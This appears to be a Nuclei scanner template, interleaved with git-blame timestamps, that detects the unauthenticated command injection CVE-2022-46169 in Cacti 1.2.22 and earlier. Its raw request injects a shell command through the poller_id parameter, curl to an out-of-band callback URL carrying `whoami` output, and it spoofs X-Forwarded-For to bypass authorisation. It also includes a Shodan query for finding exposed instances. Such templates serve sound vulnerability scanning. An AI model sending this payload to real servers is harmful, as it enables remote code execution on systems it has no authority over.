2022-12-23 12:35:53 +00:00
id : CVE-2022-46169
info :
2022-12-23 19:09:46 +00:00
name : Cacti <= 1.2.22 Unauthenticated Command Injection
2022-12-23 12:35:53 +00:00
author : Hardik-Solanki
2022-12-23 19:23:41 +00:00
severity : critical
2022-12-23 12:35:53 +00:00
description : |
2023-01-05 11:21:19 +00:00
The vulnerability allows a remote attacker to compromise the affected system. The vulnerability exists due to insufficient authorization within the Remote Agent when handling HTTP requests with a custom Forwarded-For HTTP header. A remote non-authenticated attacker can send a specially crafted HTTP request to the affected instance and execute arbitrary OS commands on the server.
2022-12-23 12:35:53 +00:00
reference :
- https://security-tracker.debian.org/tracker/CVE-2022-46169
- https://nvd.nist.gov/vuln/detail/CVE-2022-46169
- https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf
2022-12-23 12:39:56 +00:00
- https://www.cybersecurity-help.cz/vdb/SB2022121926
2022-12-23 12:35:53 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-46169
2022-12-23 12:39:56 +00:00
cwe-id : CWE-285
2022-12-23 12:35:53 +00:00
metadata :
2022-12-23 19:23:41 +00:00
shodan-query : title:"Login to Cacti"
2023-01-05 11:21:19 +00:00
verified : "true"
2022-12-23 19:09:46 +00:00
tags : cve2022,cve,auth-bypass,cacti
2022-12-23 12:35:53 +00:00
requests :
- raw :
2022-12-23 18:12:40 +00:00
- |
2022-12-23 19:09:46 +00:00
GET /remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=;curl%20{{interactsh-url}}/`whoami`; HTTP/1.1
2022-12-23 18:12:40 +00:00
Host : {{Hostname}}
X-Forwarded-For : 127.0 .0 .1
2022-12-23 12:45:39 +00:00
2022-12-23 12:54:35 +00:00
unsafe : true
2022-12-23 12:35:53 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-12-23 19:09:46 +00:00
- '"value":'
- '"local_data_id":'
condition : and
- type : word
part : interactsh_protocol
words :
- "http"
2022-12-23 12:35:53 +00:00
- type : status
status :
- 200